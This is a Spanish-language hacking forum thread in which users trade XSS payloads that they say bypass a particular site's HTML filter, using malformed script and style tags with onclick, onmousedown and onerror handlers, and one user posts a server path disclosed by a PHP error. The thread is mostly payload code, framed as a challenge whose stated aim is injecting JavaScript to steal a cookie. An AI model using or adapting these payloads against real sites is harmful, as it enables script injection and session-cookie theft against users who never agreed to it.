[CYH] Bypass de filtros de XSS :)

[SeC]

Parece que aún vale, asique

Código [Seleccionar] Expandir


<STYLE TYPE="text/javascript">><a href="http://elhacker.net" onclick="alert(1)">XSS</a><</STYLE>

otro,

Código [Seleccionar] Expandir

<script>><a href="http://elhacker.net" onclick="alert(1)">XSS</a><

[~ Yoya ~]

Código [Seleccionar] Expandir

<Script>><p onMouseDown=alert(0) >aa </p> t=
<script language="javascript">><p onMouseDown=alert(0) >aa </p> t=
<Style>><p onMouseOut=alert(0) >aa </p> t=


[WHK]

jajaja que chafa el filtro

[jdc]

File disclosoure no vale?

Warning: file_get_contents(/home/simoneme/allowhtml/main/files/antisamy.xml) [function.file-get-contents]: failed to open stream: No such file or directory in /home/simoneme/allowhtml/main/include/controllers/source_antisamy.php on line 7

[Castg!]

Phat disculosure

[netscape]

Aquí estan los mios:

Código [Seleccionar] Expandir

<script>>"/><a><<img src=lol.gif onerror=alert(1)> >

Código [Seleccionar] Expandir

<script>>"/><a><<img src=lol.gif onerror=window.alert(1)> >

Código [Seleccionar] Expandir

'>><marquee><h1>XSS</h1></marquee>

Código [Seleccionar] Expandir

<script><TD><p onmousemove=alert('XSS') >lol </p><TABLE>

Código [Seleccionar] Expandir

<script>><p lang="es"</p> onmouseup=alert('XSS')>>

Código [Seleccionar] Expandir

<script>><q lang="he" dir="rtl"><p onmousedown=alert('XSS')</q></p>>

Saludos!!

[cgvwzq]

Pero si son todos el mismo...xD

Además, el último de netscape no es ni siquiera un bypass. ¬¬

A lo mucho se puede considerar el de SeC, que usa "style" en lugar de "script". Y da igual poner atributos, no afectan.

[Castg!]

El último de netscape qué tiene de inyección de javascript?

[jdc]

Castg no necesitas inyectar javascript para que sea xss

[Castg!]

¬¬ pero este desafio es asi jajja, sino, xss en si es inyeccion HTML, y yapodemos inyectar html. lol.

la idea, es poder inyectar el codigo javascript para quitar una cookie.